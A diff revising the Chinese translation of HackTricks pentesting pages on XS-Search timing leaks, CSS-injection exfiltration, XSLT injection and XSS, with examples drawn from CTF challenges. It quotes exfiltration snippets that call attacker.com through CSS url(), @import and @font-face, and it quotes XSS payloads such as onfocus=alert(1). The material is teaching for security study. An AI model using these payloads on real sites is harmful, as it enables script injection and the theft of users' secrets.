-> 这就是为什么这个技术很有趣：Chrome 现在有 **缓存分区**，新打开页面的缓存键是：`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`，但是如果我打开一个 ngrok 页面并在其中使用 fetch，缓存键将是：`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`，**缓存键是不同的**，因此缓存不能共享。您可以在这里找到更多细节：[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
+> 这就是为什么这个技术很有趣：Chrome 现在有 **缓存分区**，新打开页面的缓存键是：`(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`，但如果我打开一个 ngrok 页面并在其中使用 fetch，缓存键将是：`(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`，**缓存键是不同的**，因此缓存不能共享。您可以在这里找到更多详细信息：[通过分区缓存获得安全性和隐私](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > （来自 [**这里**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的评论）
 
 如果一个站点 `example.com` 包含来自 `*.example.com/resource` 的资源，那么该资源将具有与通过顶级导航直接 **请求** 该资源时 **相同的缓存键**。这是因为缓存键由顶级 _eTLD+1_ 和框架 _eTLD+1_ 组成。
 
 因为访问缓存比加载资源更快，所以可以尝试更改页面的位置并在 20 毫秒（例如）后取消它。如果在停止后更改了源，则意味着资源已被缓存。\
-或者可以 **发送一些 fetch 到潜在缓存页面并测量所需时间**。
+或者可以 **向可能被缓存的页面发送一些 fetch 并测量所需时间**。
 
 ### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
 
@@ -796,7 +796,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
 
 ### Script Pollution
 
-- **Inclusion Methods**: HTML Elements (script)
+- **Inclusion Methods**: HTML 元素 (script)
 - **Detectable Difference**: 页面内容
 - **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
 - **Summary:** 可以 **覆盖内置函数** 并读取其参数，即使是来自 **跨域脚本**（无法直接读取），这可能 **泄露有价值的信息**。
@@ -810,9 +810,9 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
 - **Summary:** 测量使用服务工作者的网页的执行时间。
 - **Code Example**:
 
-在给定的场景中，攻击者主动在其域名之一 "attacker.com" 中注册一个 **服务工作者**。接下来，攻击者从主文档中在目标网站打开一个新窗口，并指示 **服务工作者** 开始计时。当新窗口开始加载时，攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
+在给定的场景中，攻击者主动在其域之一（特别是 "attacker.com"）中注册一个 **服务工作者**。接下来，攻击者从主文档中在目标网站打开一个新窗口，并指示 **服务工作者** 开始计时。当新窗口开始加载时，攻击者将前一步获得的引用导航到由 **服务工作者** 管理的页面。
 
-在前一步发起的请求到达时，**服务工作者** 以 **204 (No Content)** 状态码响应，有效地终止导航过程。此时，**服务工作者** 捕获从第二步开始的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
+在前一步发起的请求到达时，**服务工作者** 以 **204 (无内容)** 状态码响应，有效地终止导航过程。此时，**服务工作者** 捕获前面第二步中启动的计时器的测量。该测量受 JavaScript 导致的导航过程延迟的影响。
 
 > [!WARNING]
 > 在执行计时中，可以 **消除** **网络因素** 以获得 **更精确的测量**。例如，通过在加载页面之前加载页面使用的资源。
@@ -847,14 +847,14 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
 ### Image Lazy Loading
 
 如果您需要 **提取内容** 并且可以 **在秘密之前添加 HTML**，您应该检查 **常见的悬挂标记技术**。\
-但是，如果出于某种原因您 **必须** 逐字符进行（也许通信是通过缓存命中），您可以使用这个技巧。
+但是，如果由于某种原因您 **必须** 逐字符进行（也许通信是通过缓存命中），您可以使用这个技巧。
 
 **图像** 在 HTML 中具有一个 "**loading**" 属性，其值可以是 "**lazy**"。在这种情况下，图像将在被查看时加载，而不是在页面加载时：
 ```html
 <img src=/something loading=lazy >
 ```
-因此，您可以做的是**添加大量垃圾字符**（例如**成千上万个"W"**）来**填充网页在秘密之前，或者添加类似**`<br><canvas height="1850px"></canvas><br>`**的内容。\
-然后，如果例如我们的**注入出现在标志之前**，**图像**将被**加载**，但如果出现在**标志之后**，标志 + 垃圾将**阻止其加载**（您需要调整放置多少垃圾）。这就是在[**这篇文章**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)中发生的情况。
+因此，您可以做的是**添加大量垃圾字符**（例如**成千上万个"W"**）来**填充网页在秘密之前，或者添加类似**`<br><canvas height="1850px"></canvas><br>`**的内容。**\
+然后，如果例如我们的**注入出现在标志之前**，**图像**将会**加载**，但如果出现在**标志之后**，标志 + 垃圾将**阻止其加载**（您需要尝试放置多少垃圾）。这就是在[**这篇文章**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)中发生的事情。
 
 另一个选项是使用**scroll-to-text-fragment**（如果允许的话）：
 
@@ -872,9 +872,9 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
 
 一些利用此漏洞的代码示例：[https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
 
-### 基于图像懒加载时间
+### 基于时间的图像懒加载
 
-如果 **无法加载外部图像**，这可能会指示攻击者图像已加载，另一种选择是尝试 **多次猜测字符并测量**。如果图像加载，所有请求的时间将比图像未加载时更长。这就是在 [**此写作的解决方案中**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **总结的内容：**
+如果 **无法加载外部图像**，这可能会向攻击者指示图像已加载，另一种选择是尝试 **多次猜测字符并测量**。如果图像加载，所有请求的时间将比图像未加载时更长。这就是在 [**此写作的解决方案**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **中使用的内容，概述如下：**
 
 {{#ref}}
 event-loop-blocking-+-lazy-images.md
@@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
 
 ### CSS ReDoS
 
-如果使用 `jQuery(location.hash)`，可以通过时间来判断 **某些 HTML 内容是否存在**，这是因为如果选择器 `main[id='site-main']` 不匹配，则不需要检查其余的 **选择器**：
+如果使用 `jQuery(location.hash)`，可以通过时间判断 **某些 HTML 内容是否存在**，这是因为如果选择器 `main[id='site-main']` 不匹配，则不需要检查其余的 **选择器**：
 ```javascript
 $(
 "*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
@@ -902,7 +902,7 @@ css-injection/
 
 ## 防御
 
-在 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) 和维基的每个部分 [https://xsleaks.dev/](https://xsleaks.dev/) 中推荐了一些缓解措施。请查看那里以获取有关如何防止这些技术的更多信息。
+在 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) 和每个 wiki 部分 [https://xsleaks.dev/](https://xsleaks.dev/) 中推荐了一些缓解措施。请查看那里以获取有关如何防止这些技术的更多信息。
 
 ## 参考
 
diff --git a/src/pentesting-web/xs-search/connection-pool-by-destination-example.md b/src/pentesting-web/xs-search/connection-pool-by-destination-example.md
index f0ae0eb9a..e17ee7d71 100644
--- a/src/pentesting-web/xs-search/connection-pool-by-destination-example.md
+++ b/src/pentesting-web/xs-search/connection-pool-by-destination-example.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-在 [**这个漏洞**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html) 中， [**@terjanq**](https://twitter.com/terjanq) 提出了另一个解决方案，针对以下页面中提到的挑战：
+在 [**这个漏洞**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html)，[**@terjanq**](https://twitter.com/terjanq) 提出了另一个解决方案，针对以下页面中提到的挑战：
 
 {{#ref}}
 connection-pool-by-destination-example.md
diff --git a/src/pentesting-web/xs-search/connection-pool-example.md b/src/pentesting-web/xs-search/connection-pool-example.md
index a6bdde000..c610a6802 100644
--- a/src/pentesting-web/xs-search/connection-pool-example.md
+++ b/src/pentesting-web/xs-search/connection-pool-example.md
@@ -11,7 +11,7 @@
 - **机器人**将**访问**攻击者给定的**URL**
 - 攻击者可以在页面中**注入HTML**（但不允许JS，使用了dompurify）利用**CSRF**使**机器人创建一个带有该HTML的帖子**。
 - 攻击者可以利用CSRF使**机器人****删除**网页中的**第一个**帖子。
-- 由于**帖子**是按**字母顺序**排列的，当**第一个帖子被删除**时，如果攻击者的**HTML**内容被**加载**，则意味着它在**标志之前的字母顺序**。
+- 由于**帖子**是**按字母顺序**排列的，当**第一个帖子被删除**时，如果攻击者的**HTML**内容被**加载**，则意味着它在**标志之前的字母顺序**。
 
 因此，为了窃取标志，@Strellyc\_提出的解决方案是，**对于每个要测试的字符**，让机器人：
 
@@ -24,7 +24,7 @@
 > [!WARNING]
 > 如果**删除**的帖子是**标志**，这意味着所有**注入**在HTML中的**图像**将与**5个随机请求**争夺那个**未阻塞**的套接字。这意味着测量的时间将比其他情况更长。
 >
-> 如果**删除**的帖子是**HTML**，则**5个随机请求**将会**更快**，因为它们不需要与注入的HTML争夺那个套接字。
+> 如果**删除**的帖子是**HTML**，那么**5个随机请求**将会**更快**，因为它们不需要与注入的HTML争夺那个套接字。
 
 ### 利用1
 
@@ -306,9 +306,9 @@ resolve(isFound)
 ```
 ## DiceCTF 2022 - carrot
 
-在这个案例中，利用漏洞的第一步是滥用 CSRF 来修改包含标志的页面，使其具有 **更多内容**（因此加载时间更长），然后 **滥用连接池来测量访问可能包含标志的页面所需的时间**。
+在这个案例中，利用漏洞的第一步是滥用 CSRF 来修改包含标志的页面，使其 **内容更多**（因此加载时间更长），然后 **滥用连接池来测量访问可能包含标志的页面所需的时间**。
 
-在漏洞中你可以看到：
+在这个漏洞中你可以看到：
 
 - 滥用 CSRF
 - 占用所有套接字但保留 1 个
diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md
index a2a626e56..6248e6cbc 100644
--- a/src/pentesting-web/xs-search/css-injection/README.md
+++ b/src/pentesting-web/xs-search/css-injection/README.md
@@ -41,7 +41,7 @@ background-image: url(https://attacker.com/exfil/csrF);
 
 ### 盲属性选择器
 
-正如 [**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration)，可以结合选择器 **`:has`** 和 **`:not`** 来识别来自盲元素的内容。这在您不知道加载 CSS 注入的网页内部内容时非常有用。\
+正如 [**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration)，可以结合选择器 **`:has`** 和 **`:not`** 来识别盲元素中的内容。这在您不知道加载 CSS 注入的网页内部内容时非常有用。\
 还可以使用这些选择器从多个相同类型的块中提取信息，例如：
 ```html
 <style>
@@ -66,20 +66,20 @@ background: url(/m);
 ```css
 @import url("//attacker.com:5001/start?");
 ```
-1. 导入将会**接收一些来自攻击者的CSS脚本**，并且**浏览器将加载它**。
-2. 攻击者发送的CSS脚本的第一部分是**另一个`@import`到攻击者的服务器**。
+1. 导入将会**接收一些来自攻击者的 CSS 脚本**，并且**浏览器将加载它**。
+2. 攻击者发送的 CSS 脚本的第一部分是**另一个 `@import` 到攻击者的服务器**。
 1. 攻击者的服务器不会立即响应这个请求，因为我们想要泄露一些字符，然后用有效负载响应这个导入以泄露下一个字符。
 3. 有效负载的第二部分和更大部分将是一个**属性选择器泄露有效负载**。
 1. 这将向攻击者的服务器发送**秘密的第一个字符和最后一个字符**。
-4. 一旦攻击者的服务器接收到**秘密的第一个和最后一个字符**，它将**响应步骤2中请求的导入**。
-1. 响应将与**步骤2、3和4完全相同**，但这次它将尝试**找到秘密的第二个字符和倒数第二个字符**。
+4. 一旦攻击者的服务器接收到**秘密的第一个和最后一个字符**，它将**响应步骤 2 中请求的导入**。
+1. 响应将与**步骤 2、3 和 4**完全相同，但这次它将尝试**找到秘密的第二个字符和倒数第二个字符**。
 
 攻击者将**遵循这个循环，直到完全泄露秘密**。
 
-您可以在这里找到原始的[**Pepe Vila的代码来利用这个**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)，或者您可以在这里找到几乎[**相同的代码但有注释**](./#css-injection)。
+您可以在这里找到原始的[**Pepe Vila 的代码来利用这个**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)，或者您可以在这里找到几乎[**相同的代码，但有注释**](./#css-injection)。
 
 > [!NOTE]
-> 该脚本将尝试每次发现2个字符（从开头和结尾），因为属性选择器允许做如下事情：
+> 该脚本将尝试每次发现 2 个字符（从开头和结尾），因为属性选择器允许做如下事情：
 >
 > ```css
 > /* value^=  匹配值的开头*/
@@ -96,15 +96,15 @@ background: url(/m);
 > 这使得脚本能够更快地泄露秘密。
 
 > [!WARNING]
-> 有时脚本**无法正确检测到前缀+后缀已发现是完整的标志**，它将继续向前（在前缀中）和向后（在后缀中），并在某个时刻会挂起。\
+> 有时脚本**无法正确检测到前缀 + 后缀已发现是完整的标志**，它将继续向前（在前缀中）和向后（在后缀中），并在某个时刻会挂起。\
 > 不用担心，只需检查**输出**，因为**您可以在那里看到标志**。
 
 ### 其他选择器
 
-使用**CSS选择器**访问DOM部分的其他方法：
+使用**CSS 选择器**访问 DOM 部分的其他方法：
 
-- **`.class-to-search:nth-child(2)`**：这将搜索DOM中类为"class-to-search"的第二个项目。
-- **`:empty`**选择器：例如在[**这篇文章**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用：**
+- **`.class-to-search:nth-child(2)`**：这将搜索 DOM 中类为 "class-to-search" 的第二个项目。
+- **`:empty`** 选择器：例如在[**这个写作中**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
 
 ```css
 [role^="img"][aria-label="1"]:empty {
@@ -112,11 +112,11 @@ background-image: url("YOUR_SERVER_URL?1");
 }
 ```
 
-### 基于错误的XS-Search
+### 基于错误的 XS-Search
 
-**参考：** [基于CSS的攻击：滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)，[基于错误的XS-Search PoC由@terjanq提供](https://twitter.com/terjanq/status/1180477124861407234)
+**参考：** [基于 CSS 的攻击：滥用 @font-face 的 unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)，[基于错误的 XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
 
-总体意图是**使用来自受控端点的自定义字体**，并确保**文本（在这种情况下为'A'）仅在指定资源（`favicon.ico`）无法加载时使用此字体显示**。
+总体意图是**使用来自受控端点的自定义字体**，并确保**文本（在这种情况下为 'A'）仅在指定资源（`favicon.ico`）无法加载时使用此字体显示**。
 ```html
 <!DOCTYPE html>
 <html>
@@ -140,21 +140,21 @@ font-family: "poc";
 ```
 1. **自定义字体使用**：
 
-- 自定义字体通过在`<head>`部分的`<style>`标签中使用`@font-face`规则定义。
-- 字体命名为`poc`，并从外部端点获取（`http://attacker.com/?leak`）。
-- `unicode-range`属性设置为`U+0041`，目标是特定的Unicode字符'A'。
+- 自定义字体通过在 `<head>` 部分的 `<style>` 标签中使用 `@font-face` 规则定义。
+- 字体命名为 `poc`，并从外部端点获取（`http://attacker.com/?leak`）。
+- `unicode-range` 属性设置为 `U+0041`，目标是特定的 Unicode 字符 'A'。
 
-2. **带回退文本的对象元素**：
-- 在`<body>`部分创建一个`<object>`元素，`id="poc0"`。该元素尝试从`http://192.168.0.1/favicon.ico`加载资源。
-- 此元素的`font-family`设置为`'poc'`，如在`<style>`部分定义。
-- 如果资源（`favicon.ico`）加载失败，则在`<object>`标签内显示回退内容（字母'A'）。
-- 如果无法加载外部资源，回退内容（'A'）将使用自定义字体`poc`呈现。
+2. **带有后备文本的对象元素**：
+- 在 `<body>` 部分创建一个 `id="poc0"` 的 `<object>` 元素。该元素尝试从 `http://192.168.0.1/favicon.ico` 加载资源。
+- 此元素的 `font-family` 设置为在 `<style>` 部分定义的 `'poc'`。
+- 如果资源（`favicon.ico`）加载失败，则在 `<object>` 标签内显示后备内容（字母 'A'）。
+- 如果无法加载外部资源，后备内容（'A'）将使用自定义字体 `poc` 渲染。
 
 ### 样式滚动到文本片段
 
-**`:target`**伪类用于选择由**URL片段**指定的目标元素，如在[CSS选择器第4级规范](https://drafts.csswg.org/selectors-4/#the-target-pseudo)中所述。重要的是要理解，`::target-text`不会匹配任何元素，除非文本被片段明确目标。
+**`:target`** 伪类用于选择由 **URL 片段** 定位的元素，如 [CSS 选择器第 4 版规范](https://drafts.csswg.org/selectors-4/#the-target-pseudo) 中所述。重要的是要理解，`::target-text` 不会匹配任何元素，除非文本被片段明确定位。
 
-当攻击者利用**滚动到文本**片段功能时，会出现安全隐患，这使他们能够通过HTML注入从其服务器加载资源，以确认网页上特定文本的存在。该方法涉及注入如下的CSS规则：
+当攻击者利用 **滚动到文本** 片段功能时，会出现安全隐患，这使他们能够通过 HTML 注入从其服务器加载资源来确认网页上特定文本的存在。该方法涉及注入如下的 CSS 规则：
 ```css
 :target::before {
 content: url(target.png);
@@ -169,7 +169,7 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
 为了缓解，以下几点应注意：
 
 1. **受限的 STTF 匹配**：Scroll-to-text Fragment (STTF) 仅设计用于匹配单词或句子，从而限制其泄露任意秘密或令牌的能力。
-2. **限制在顶级浏览上下文中**：STTF 仅在顶级浏览上下文中操作，不在 iframe 内工作，使得任何利用尝试对用户来说更为明显。
+2. **限制在顶级浏览上下文中**：STTF 仅在顶级浏览上下文中操作，不在 iframe 内部工作，使任何利用尝试对用户更为明显。
 3. **用户激活的必要性**：STTF 需要用户激活手势才能操作，这意味着利用仅通过用户发起的导航才可行。这一要求大大降低了攻击在没有用户交互的情况下自动化的风险。然而，博客作者指出了特定条件和绕过方法（例如，社会工程学，与流行浏览器扩展的交互）可能会简化攻击的自动化。
 
 了解这些机制和潜在漏洞对于维护网络安全和防范此类利用策略至关重要。
@@ -180,7 +180,7 @@ http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:
 
 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-您可以为特定的 unicode 值指定 **外部字体**，这些字体 **仅在页面中存在这些 unicode 值时** 被 **收集**。例如：
+您可以为特定的 unicode 值指定 **外部字体**，这些字体只有在页面中存在这些 unicode 值时才会被 **收集**。例如：
 ```html
 <style>
 @font-face {
@@ -214,13 +214,13 @@ htm
 
 所描述的技术涉及通过利用字体连字并监控宽度变化来提取节点中的文本。该过程包括几个步骤：
 
-1. **自定义字体的创建**：
+1. **创建自定义字体**：
 
 - SVG 字体是用具有 `horiz-adv-x` 属性的字形制作的，该属性为表示两个字符序列的字形设置了较大的宽度。
 - 示例 SVG 字形：`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`，其中 "XY" 表示一个两个字符的序列。
 - 然后使用 fontforge 将这些字体转换为 woff 格式。
 
-2. **宽度变化的检测**：
+2. **检测宽度变化**：
 
 - 使用 CSS 确保文本不换行（`white-space: nowrap`）并自定义滚动条样式。
 - 水平滚动条的出现，样式明显，作为指示器（oracle），表明文本中存在特定的连字，因此存在特定的字符序列。
@@ -275,7 +275,7 @@ B
 
 在此过渡期间，**unicode-range 技巧**被用来识别每个新字符，因为它加入前缀。这是通过将字体切换到 Comic Sans 来实现的，后者明显比默认字体高，从而触发垂直滚动条。这个滚动条的出现间接揭示了前缀中存在新字符。
 
-尽管这种方法允许检测到独特字符的出现，但并未指定哪个字符被重复，仅仅表明发生了重复。
+尽管这种方法允许检测到独特字符的出现，但并未指定哪个字符被重复，只是表明发生了重复。
 
 > [!NOTE]
 > 基本上，**unicode-range 用于检测字符**，但由于我们不想加载外部字体，我们需要找到另一种方法。\
@@ -726,7 +726,7 @@ unicode-range: U+0041;
 ```
 如果匹配成功，**字体将从 `/static/bootstrap.min.css?q=1` 加载**。虽然它不会成功加载，但**浏览器应该缓存它**，即使没有缓存，也有**304未修改**机制，因此**响应应该比其他内容更快**。
 
-然而，如果缓存响应与非缓存响应的时间差异不够大，这将没有用。例如，作者提到：但是，经过测试，我发现第一个问题是速度没有太大差别，第二个问题是机器人使用了 `disk-cache-size=1` 标志，这真的很周到。
+然而，如果缓存响应与非缓存响应的时间差不够大，这将没有用。例如，作者提到：但是，经过测试，我发现第一个问题是速度没有太大差别，第二个问题是机器人使用了 `disk-cache-size=1` 标志，这真的很周到。
 
 ### 文本节点外泄 (III)：通过定时加载数百个本地“字体”（不需要外部资源）泄露字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
diff --git a/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md b/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
index 648a30cca..9fb27b0b3 100644
--- a/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
+++ b/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
@@ -1,8 +1,8 @@
-# 事件循环阻塞 + 懒加载图片
+# 事件循环阻塞 + 懒加载图像
 
 {{#include ../../banners/hacktricks-training.md}}
 
-在 [**这个漏洞**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45)，[**@aszx87410**](https://twitter.com/aszx87410) 通过 HTML 注入混合了 **懒加载图片侧信道** 技术和某种 **事件循环阻塞技术** 来泄露字符。
+在 [**这个漏洞**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45)，[**@aszx87410**](https://twitter.com/aszx87410) 通过 HTML 注入混合了 **懒加载图像侧信道** 技术和某种 **事件循环阻塞技术** 来泄露字符。
 
 这是一个 **不同的漏洞**，用于 CTF 挑战，已经在以下页面中评论过。有关挑战的更多信息，请查看：
 
@@ -14,10 +14,10 @@ connection-pool-example.md
 
 - 帖子按字母顺序加载
 - 一个 **攻击者** 可以 **注入** 一个以 **"A"** 开头的 **帖子**，然后一些 **HTML 标签**（如一个大的 **`<canvas`**）将占据大部分 **屏幕**，以及一些最终的 **`<img lazy` 标签** 来加载内容。
-- 如果攻击者注入的帖子是以 **"z"** 开头的同一个帖子，带有 **标志** 的 **帖子** 将会 **首先出现**，然后 **注入的** **帖子** 将以初始的 "z" 和 **大** **canvas** 出现。因为带有标志的帖子首先出现，第一个 canvas 将占据整个屏幕，最终注入的 **`<img lazy`** 标签将 **不会在** 屏幕上 **显示**，因此它们 **不会被加载**。
+- 如果 **攻击者** 注入的帖子是以 "z" 开头的同一个帖子，带有 **标志** 的 **帖子** 将会 **首先出现**，然后 **注入的** **帖子** 将以初始 "z" 和 **大** **canvas** 出现。因为带有标志的帖子首先出现，第一个 canvas 将占据整个屏幕，最终注入的 **`<img lazy`** 标签将 **不会在** 屏幕上 **显示**，因此它们 **不会被加载**。
 - 然后，**当** 机器人 **访问** 页面时，**攻击者** 将 **发送获取请求**。&#x20;
-- 如果注入的 **图片** 正在 **加载**，这些 **获取** 请求将需要 **更长时间**，因此攻击者知道 **帖子在标志之前**（按字母顺序）。
-- 如果 **获取** 请求 **很快**，这意味着 **帖子** 在标志 **之后**（按字母顺序）。
+- 如果注入的 **图像** 正在 **加载**，这些 **获取** 请求将需要 **更长时间**，因此攻击者知道 **帖子在标志之前**（按字母顺序）。
+- 如果 **获取** 请求是 **快速的**，这意味着 **帖子** 在标志 **之后**（按字母顺序）。
 
 让我们检查代码：
 ```html
diff --git a/src/pentesting-web/xs-search/performance.now-+-force-heavy-task.md b/src/pentesting-web/xs-search/performance.now-+-force-heavy-task.md
index 92cff9f8e..5babeb55d 100644
--- a/src/pentesting-web/xs-search/performance.now-+-force-heavy-task.md
+++ b/src/pentesting-web/xs-search/performance.now-+-force-heavy-task.md
@@ -7,7 +7,7 @@
 在这个挑战中，用户可以发送数千个字符，如果标志包含在内，这些字符将被发送回机器人。因此，通过发送大量字符，攻击者可以测量标志是否包含在发送的字符串中。
 
 > [!WARNING]
-> 起初，我没有设置对象的宽度和高度，但后来我发现这很重要，因为默认大小太小，无法在加载时间上产生差异。
+> 最初，我没有设置对象的宽度和高度，但后来我发现这很重要，因为默认大小太小，无法对加载时间产生影响。
 ```html
 <!DOCTYPE html>
 <html>
diff --git a/src/pentesting-web/xs-search/performance.now-example.md b/src/pentesting-web/xs-search/performance.now-example.md
index dc4cfeea0..95bcb4992 100644
--- a/src/pentesting-web/xs-search/performance.now-example.md
+++ b/src/pentesting-web/xs-search/performance.now-example.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**示例来自 [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
+**示例取自 [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
 ```javascript
 const sleep = (ms) => new Promise((res) => setTimeout(res, ms))
 
diff --git a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
index 89ccf7fab..ae1a3284b 100644
--- a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
+++ b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
@@ -1,4 +1,4 @@
-# XSLT 服务器端注入（可扩展样式表语言转换）
+# XSLT 服务器端注入 (可扩展样式表语言转换)
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -323,7 +323,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
 ```
 ## 执行代码
 
-### **php:function**
+### **php:函数**
 ```xml
 <?xml version="1.0" encoding="utf-8"?>
 <xsl:stylesheet version="1.0"
diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index d3f203630..bdd52aa4f 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -2,7 +2,7 @@
 
 ## 方法论
 
-1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射** 或 **被** **JS** 代码 **使用**。
+1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_？、_cookies_？) 是否在 HTML 中被 **反射** 或 **被** **JS** 代码 **使用**。
 2. **找到上下文**，查看它是如何被反射/使用的。
 3. 如果 **被反射**：
 1. 检查 **你可以使用哪些符号**，并根据此准备有效载荷：
@@ -25,7 +25,7 @@
 4. Javascript **函数** 被 **执行**
 1. 你可以指明要执行的函数名称。例如： `?callback=alert(1)`
 4. 如果 **被使用**：
-1. 你可以利用 **DOM XSS**，注意你的输入是如何被控制的，以及你的 **受控输入是否被任何接收器使用**。
+1. 你可以利用 **DOM XSS**，注意你的输入是如何被控制的，以及你的 **受控输入是否被任何接收点使用**。
 
 在处理复杂的 XSS 时，你可能会发现了解以下内容很有趣：
 
@@ -37,8 +37,8 @@ debugging-client-side-js.md
 
 为了成功利用 XSS，你需要找到的第一件事是 **一个由你控制的值在网页中被反射**。
 
-- **中间反射**：如果你发现一个参数的值甚至路径在网页中被反射，你可以利用 **反射 XSS**。
-- **存储并反射**：如果你发现一个由你控制的值被保存在服务器中，并且每次访问页面时都会被反射，你可以利用 **存储 XSS**。
+- **中间反射**：如果你发现参数的值甚至路径在网页中被反射，你可以利用 **反射型 XSS**。
+- **存储并反射**：如果你发现一个由你控制的值被保存在服务器中，并且每次访问页面时都会被反射，你可以利用 **存储型 XSS**。
 - **通过 JS 访问**：如果你发现一个由你控制的值正在通过 JS 访问，你可以利用 **DOM XSS**。
 
 ## 上下文
@@ -55,9 +55,9 @@ debugging-client-side-js.md
 如果你的输入在标签的属性值中被反射，你可以尝试：
 
 1. **逃逸属性和标签**（然后你将处于原始 HTML 中）并创建新的 HTML 标签进行利用：`"><img [...]`
-2. 如果你 **能从属性中逃逸但不能从标签中逃逸**（`>` 被编码或删除），根据标签的不同，你可以 **创建一个事件** 来执行 JS 代码：`" autofocus onfocus=alert(1) x="`
-3. 如果你 **无法从属性中逃逸**（`"` 被编码或删除），那么根据 **哪个属性** 你的值被反射，以及 **你是否控制整个值或仅部分值**，你将能够利用它。例如，如果你控制一个事件如 `onclick=`，你将能够使其在被点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`，你可以使用 `javascript:` 协议来执行任意代码：**`href="javascript:alert(1)"`**
-4. 如果你的输入在 "**不可利用的标签**" 内被反射，你可以尝试 **`accesskey`** 技巧来利用这个漏洞（你将需要某种社交工程来利用这一点）：**`" accesskey="x" onclick="alert(1)" x="**
+2. 如果你 **可以逃逸属性但不能逃逸标签**（`>` 被编码或删除），根据标签的不同，你可以 **创建一个事件** 来执行 JS 代码：`" autofocus onfocus=alert(1) x="`
+3. 如果你 **无法逃逸属性**（`"` 被编码或删除），那么根据 **哪个属性** 你的值被反射，以及 **你是否控制整个值或仅部分值**，你将能够进行利用。例如，如果你控制一个事件如 `onclick=`，你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`，你可以使用 `javascript:` 协议来执行任意代码：**`href="javascript:alert(1)"`**
